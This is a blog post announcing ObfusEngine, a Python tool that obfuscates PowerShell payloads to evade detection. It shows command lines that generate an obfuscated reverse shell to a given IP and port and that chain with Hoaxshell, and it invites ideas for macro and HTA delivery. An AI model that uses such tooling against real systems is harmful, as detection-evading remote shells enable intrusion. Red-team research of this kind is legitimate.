Red teaming often involves not just building payloads, but also bypassing detection systems. I found myself diving into tools like Invoke-Obfuscation, Hoaxshell, and Chameleon, but I wanted a modular, Python-based engine that could do it all interactively and supports multiple obfuscation techniques.

So I built ObfusEngine — an advanced script obfuscation tool for PowerShell payloads that offers automation, technique chaining, and real-time previews.

Features I Focused On :

• Clipboard Mode: Obfuscate payloads straight from your clipboard (inspired by Hoaxshell).
• Reverse Shell Generator: Auto-create and obfuscate shells by entering just an IP and port.
• Technique Chaining: Run InvokeStealth → Chameleon → PyFuscation in one go.
• Interactive UI: Built using the rich library to provide clear, color-coded CLI UX.

Demo of ObfuseEngine :

• You can use the ObfuseEngine both in argumented and interactive mode.

python3 ObfusEngine.py --ip 192.168.109.131 --port 4444 -t invoke  -e -v -oN Reverseed.ps1

For Interactive mode use:

python3 ObfusEngine.py

All the output/result script will be Stored in the ObfusWorkspace so you can later on use them and also copied!! to your clipboard.

You can also use it Hoaxshell for obfuscating its payloads

Run your Hoaxshell command with -r flag:

hoaxshell -s <ip> -r

Then run the ObfusEngine :

python3 Obfusengine.py --hxshell -t invoke -e -oN Reverseed.ps1

OR, run the ObfusEngine and use the clipboard option:

python3 Obfusengine.py

❤️ Shoutouts & Inspirations

ObfusEngine wouldn’t exist without the amazing tools and research shared by the cybersecurity community. I’ve learned a lot from dissecting and integrating the following projects — huge thanks to these developers:

• Invoke-PSObfuscation by gh0x0st
  (Cmdlet, variable, class name, and comment-level obfuscation)
• Invoke-Stealth by JoelGMSec
  (Modular PowerShell obfuscation base used for command structure)
• BetterXencrypt by GetRektBoy724
  (Advanced encryption-based transformation of PowerShell scripts)
• Chameleon by klezVirus
  (Layout disruption and special character evasion for payloads)
• PyFuscation by CBHue
  (Python script that applies multiple layers of obfuscation to PowerShell code)
• Hoaxshell by t3l3machus
  (Inspiration for clipboard-based payload input and simulation)

Try It :

Check it out here: https://github.com/vibhasdutta/ObfusEngine

Waiting for your feedback or ideas? I’d love to add more techniques — especially ones involving HTA, macro .docm, or script delivery.

My social links:

GitHub -https://github.com/vibhasdutta

MyPortfolio-https://vibhasdutta.netlify.app/

TryHackME-https://tryhackme.com/p/GhostNode

Linkedin-https://www.linkedin.com/in/vibhas-dutta-366119248/